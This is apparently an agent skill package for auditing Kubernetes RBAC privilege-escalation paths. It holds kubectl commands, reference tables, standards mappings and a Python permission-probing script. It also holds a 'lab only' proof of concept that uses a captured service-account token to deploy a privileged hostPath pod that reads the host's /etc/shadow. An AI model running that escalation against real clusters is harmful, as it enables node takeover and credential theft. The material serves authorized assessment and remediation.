npx skills add mukul975/Anthropic-Cybersecurity-SkillsLegal Notice: This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.
Overview
Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via Role/ClusterRole rules bound by RoleBinding/ClusterRoleBinding. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."
Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:
escalateon roles — grant yourself any permission, even ones you do not hold.bindon clusterroles — create a binding tocluster-admin.impersonateon users/groups/serviceaccounts — act as any subject includingsystem:masters.create/update/patchonpods— schedule a privileged pod or mount the node, escaping to the host (T1611).createonpods/exec,pods/attach,pods/ephemeralcontainers— run code in any existing pod.get/list/watchonsecrets— list returns full secret contents, including other service-account tokens.createonserviceaccounts/token— mint tokens for more privileged accounts.update/patchonvalidatingwebhookconfigurations/mutatingwebhookconfigurations,nodes/proxy,certificatesigningrequests/approval— admission/CSR abuse to cluster-admin.- Wildcards (
verbs: ["*"],resources: ["*"]) — implicit super-privilege.
This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.
When to Use
- During an authorized Kubernetes security assessment or cluster penetration test
- After compromising a pod, to determine what its service-account token can reach
- When reviewing RBAC drift before a production go-live
- When validating least-privilege after a platform migration or Helm rollout
Prerequisites
kubectlconfigured against the target cluster (your own credentials, or a captured service-account token)- Read access to RBAC objects (most audits run with a cluster-reader or admin context)
- Audit tooling:
# rbac-police - find escalation paths (Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - which subjects can perform an action (Aqua) kubectl krew install who-can # rakkess - access matrix of resources x verbs for the current/another subject kubectl krew install access-matrix # rbac-lookup - which roles a subject has (FairwindsOps) kubectl krew install rbac-lookup
Objectives
- Inventory all
Role,ClusterRole,RoleBinding, andClusterRoleBindingobjects - Enumerate effective permissions per subject using
kubectl auth can-i --as - Identify subjects holding RBAC-equivalent-to-admin primitives
- Trace token-mounting pods to over-privileged service accounts
- Demonstrate (in a lab) one escalation path end-to-end
- Output a prioritized findings report with least-privilege remediation
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1078 | Valid Accounts | Defense Evasion / Persistence / Privilege Escalation |
| T1098 | Account Manipulation | Persistence |
| T1528 | Steal Application Access Token | Credential Access |
| T1613 | Container and Resource Discovery | Discovery |
| T1611 | Escape to Host | Privilege Escalation |
Workflow
Step 1: Inventory RBAC Objects
# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'Step 2: Enumerate Effective Permissions per Subject
kubectl auth can-i is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use --as to impersonate a subject (requires impersonate rights for the audit identity).
# Full access matrix for a service account
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builderStep 3: Hunt the Escalation Primitives
# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*' # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind-style escalation
# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yamlStep 4: Run Automated Escalation-Path Analysis with rbac-police
rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.
# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/
# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.jsonStep 5: Trace Pods to Over-Privileged Service Accounts
A finding only matters if a reachable workload mounts that token.
# Map every pod to its service account
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccountStep 6: Demonstrate an Escalation Path (Lab Only)
Example: a service account with create pods and access to a node can schedule a privileged pod that mounts the host filesystem.
# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # host /etc/shadow proves escalationStep 7: Report and Remediate
# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'Remediation: replace wildcards with explicit verbs/resources; remove escalate/bind/impersonate unless required; set automountServiceAccountToken: false on workloads that do not call the API; scope Role (namespaced) over ClusterRole where possible; use aggregationRule carefully.
Tools and Resources
| Tool | Purpose | Source |
|---|---|---|
| kubectl auth can-i | Authoritative live permission check (--list, --as) |
https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Rego-based escalation-path analysis | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | Reverse lookup: who can do X | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | Verb x resource matrix per subject | https://github.com/corneliusweig/rakkess |
| rbac-lookup | Roles a subject holds | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
Dangerous RBAC Primitives Reference
| Verb / Resource | Why It Is Cluster-Admin-Equivalent |
|---|---|
escalate on roles |
Grant self any permission |
bind on clusterroles |
Bind self to cluster-admin |
impersonate users/groups |
Act as system:masters |
create pods (+ node access) |
Privileged/hostPath pod -> host takeover |
create pods/exec,pods/attach |
Run code in existing pods |
get/list secrets |
Read all tokens & credentials |
create serviceaccounts/token |
Mint privileged tokens |
*/* (wildcards) |
Implicit super-privilege |
Validation Criteria
- All Role/ClusterRole/Binding objects inventoried and dumped
- cluster-admin subject list enumerated
- Effective permissions enumerated per service account via
auth can-i --list - All dangerous-primitive holders identified (escalate/bind/impersonate/secrets/pods)
- rbac-police escalation paths reviewed
- Token-mounting pods mapped to risky service accounts
- At least one escalation path demonstrated in a lab
- Findings report with least-privilege remediation produced
- All testing stayed within authorized scope
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md2.7 KB
Kubernetes RBAC Audit — Command Reference
kubectl auth can-i
| Command | Purpose |
|---|---|
kubectl auth can-i --list |
List all permissions for the current identity |
kubectl auth can-i --list --as=system:serviceaccount:NS:SA |
List permissions for a service account (impersonation) |
kubectl auth can-i <verb> <resource> |
Check a single permission |
kubectl auth can-i <verb> <resource> --all-namespaces |
Check across namespaces |
kubectl auth can-i '*' '*' |
Check for wildcard god-mode |
--as-group=<group> |
Impersonate a group (e.g. system:masters) |
kubectl-who-can (krew: who-can)
| Command | Purpose |
|---|---|
kubectl who-can create pods |
List subjects that can create pods |
kubectl who-can get secrets -n NS |
Subjects that can read secrets in a namespace |
kubectl who-can '*' '*' |
Subjects with full wildcard access |
kubectl who-can create serviceaccounts/token |
Token-minting subjects |
rakkess / access-matrix (krew: access-matrix)
| Command | Purpose |
|---|---|
kubectl access-matrix |
Verb x resource matrix for current subject |
kubectl access-matrix --as system:serviceaccount:NS:SA |
Matrix for another subject |
kubectl access-matrix resource pods |
Who can do what on pods (resource subcommand) |
rbac-lookup (krew: rbac-lookup)
| Command | Purpose |
|---|---|
kubectl rbac-lookup <name> |
Show roles bound to a subject |
kubectl rbac-lookup <sa> --kind serviceaccount |
Filter to service accounts |
kubectl rbac-lookup --output wide |
Include the source binding |
rbac-police
| Command | Purpose |
|---|---|
rbac-police eval ./lib/policies/ |
Run all escalation policies against the live cluster |
rbac-police eval <policy.rego> -f json -o out.json |
Run one policy, JSON output |
rbac-police collect -o snapshot.json |
Snapshot RBAC for offline analysis |
rbac-police eval ./lib/policies/ --collect-results snapshot.json |
Evaluate from a snapshot |
--severity-threshold High |
Filter to high-severity findings |
Dangerous Verbs / Resources
| Verb | Sensitive Resources |
|---|---|
escalate |
roles, clusterroles |
bind |
clusterroles |
impersonate |
users, groups, serviceaccounts |
create/update/patch |
pods, deployments, daemonsets, mutatingwebhookconfigurations |
create |
pods/exec, pods/attach, pods/ephemeralcontainers, serviceaccounts/token |
get/list/watch |
secrets |
approve |
certificatesigningrequests/approval |
External References
- Kubernetes RBAC Good Practices: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
- RBAC reference: https://kubernetes.io/docs/reference/access-authn-authz/rbac/
standards.md1.8 KB
Standards and References - Kubernetes RBAC Privilege Escalation Audit
MITRE ATT&CK
| Technique ID | Name | Tactic | Rationale |
|---|---|---|---|
| T1078 | Valid Accounts | Defense Evasion / Privilege Escalation | RBAC abuse leverages legitimate service-account credentials to gain higher access. |
| T1098 | Account Manipulation | Persistence | escalate/bind/impersonate and token minting create or modify accounts/bindings. |
| T1528 | Steal Application Access Token | Credential Access | Reading secrets or serviceaccounts/token yields other accounts' tokens. |
| T1613 | Container and Resource Discovery | Discovery | Enumerating roles, bindings, and pod-to-SA mappings. |
| T1611 | Escape to Host | Privilege Escalation | create pods plus node access yields a privileged host-mounting pod. |
NIST CSF 2.0
| ID | Name | Rationale |
|---|---|---|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege | The audit directly measures and enforces least-privilege RBAC, removing escalation primitives. |
Official Resources
- Kubernetes RBAC Good Practices: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
- Using RBAC Authorization: https://kubernetes.io/docs/reference/access-authn-authz/rbac/
- Authorization Overview (
auth can-i): https://kubernetes.io/docs/reference/access-authn-authz/authorization/ - rbac-police: https://github.com/PaloAltoNetworks/rbac-police
- kubectl-who-can: https://github.com/aquasecurity/kubectl-who-can
- rakkess: https://github.com/corneliusweig/rakkess
- rbac-lookup: https://github.com/FairwindsOps/rbac-lookup
Key Research
- Unit 42: Kubernetes RBAC privilege escalation research
- Kubernetes SIG-Auth: documented privilege-escalation primitives (escalate, bind, impersonate)
Scripts 1
agent.py5.7 KB
#!/usr/bin/env python3
# For authorized Kubernetes security assessments only. Run against clusters you
# own or are explicitly authorized in writing to test.
"""Kubernetes RBAC privilege-escalation auditor.
Wraps `kubectl auth can-i` to enumerate effective permissions for service
accounts and flag the RBAC primitives that are equivalent to cluster-admin
(create pods, read secrets, escalate/bind/impersonate, token minting, wildcards),
per the Kubernetes "RBAC Good Practices" guidance.
"""
import argparse
import json
import shutil
import subprocess
import sys
from datetime import datetime, timezone
# (verb, resource) probes that indicate escalation potential
DANGEROUS_CHECKS = [
("*", "*"),
("create", "pods"),
("create", "pods/exec"),
("create", "pods/attach"),
("create", "pods/ephemeralcontainers"),
("get", "secrets"),
("list", "secrets"),
("create", "serviceaccounts/token"),
("impersonate", "users"),
("escalate", "roles"),
("bind", "clusterroles"),
("update", "clusterrolebindings"),
("update", "mutatingwebhookconfigurations"),
("create", "nodes/proxy"),
]
def _kubectl(args):
cmd = ["kubectl"] + args
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return p.returncode, p.stdout.strip(), p.stderr.strip()
except FileNotFoundError:
print("[!] kubectl not found on PATH", file=sys.stderr)
sys.exit(2)
except subprocess.TimeoutExpired:
return 124, "", "timeout"
def list_service_accounts(namespace=None):
args = ["get", "serviceaccounts", "-o",
"jsonpath={range .items[*]}{.metadata.namespace}/{.metadata.name}{\"\\n\"}{end}"]
if namespace:
args += ["-n", namespace]
else:
args += ["--all-namespaces"]
rc, out, err = _kubectl(args)
if rc != 0:
print(f"[!] failed to list service accounts: {err}", file=sys.stderr)
return []
return [line for line in out.splitlines() if "/" in line]
def can_i(verb, resource, subject=None, all_ns=True):
"""Return True if the (optionally impersonated) subject can verb/resource."""
args = ["auth", "can-i", verb, resource]
if all_ns:
args.append("--all-namespaces")
if subject:
args.append(f"--as=system:serviceaccount:{subject.split('/')[0]}:{subject.split('/')[1]}")
rc, out, _ = _kubectl(args)
return out.strip() == "yes"
def audit_subject(subject):
findings = []
for verb, resource in DANGEROUS_CHECKS:
if can_i(verb, resource, subject=subject):
findings.append({"verb": verb, "resource": resource})
severity = "none"
flat = {(f["verb"], f["resource"]) for f in findings}
if ("*", "*") in flat or ("escalate", "roles") in flat or \
("bind", "clusterroles") in flat or ("impersonate", "users") in flat:
severity = "critical"
elif ("create", "pods") in flat or ("list", "secrets") in flat or \
("create", "serviceaccounts/token") in flat:
severity = "high"
elif findings:
severity = "medium"
return {"subject": subject, "severity": severity,
"dangerous_permissions": findings}
def cluster_admin_bindings():
rc, out, _ = _kubectl([
"get", "clusterrolebindings", "-o", "json"])
if rc != 0:
return []
try:
data = json.loads(out)
except json.JSONDecodeError:
return []
result = []
for item in data.get("items", []):
if item.get("roleRef", {}).get("name") == "cluster-admin":
subs = [f"{s.get('kind')}:{s.get('name')}"
for s in (item.get("subjects") or [])]
result.append({"binding": item["metadata"]["name"], "subjects": subs})
return result
def main():
ap = argparse.ArgumentParser(
description="Audit Kubernetes RBAC for privilege-escalation paths")
ap.add_argument("-n", "--namespace", help="limit to one namespace")
ap.add_argument("-s", "--subject",
help="audit a single subject NS/SA instead of all")
ap.add_argument("-o", "--output", help="write JSON report to file")
args = ap.parse_args()
if not shutil.which("kubectl"):
print("[!] kubectl is required", file=sys.stderr)
return 2
print("=" * 60)
print(" KUBERNETES RBAC PRIVILEGE-ESCALATION AUDIT")
print(f" {datetime.now(timezone.utc).isoformat()}")
print("=" * 60)
admins = cluster_admin_bindings()
print(f"\n[+] cluster-admin bindings ({len(admins)}):")
for a in admins:
print(f" {a['binding']} -> {', '.join(a['subjects']) or '(none)'}")
subjects = [args.subject] if args.subject else list_service_accounts(args.namespace)
print(f"\n[+] Auditing {len(subjects)} service account(s)...")
results = []
for subj in subjects:
r = audit_subject(subj)
results.append(r)
if r["severity"] != "none":
perms = ", ".join(f"{f['verb']} {f['resource']}"
for f in r["dangerous_permissions"])
print(f" [{r['severity'].upper():8}] {subj}: {perms}")
report = {
"generated_utc": datetime.now(timezone.utc).isoformat(),
"cluster_admin_bindings": admins,
"subject_findings": results,
"summary": {
"critical": sum(1 for r in results if r["severity"] == "critical"),
"high": sum(1 for r in results if r["severity"] == "high"),
"medium": sum(1 for r in results if r["severity"] == "medium"),
},
}
print(f"\n[+] Summary: {report['summary']}")
if args.output:
with open(args.output, "w") as fh:
json.dump(report, fh, indent=2)
print(f"[+] Report written to {args.output}")
return 0
if __name__ == "__main__":
sys.exit(main())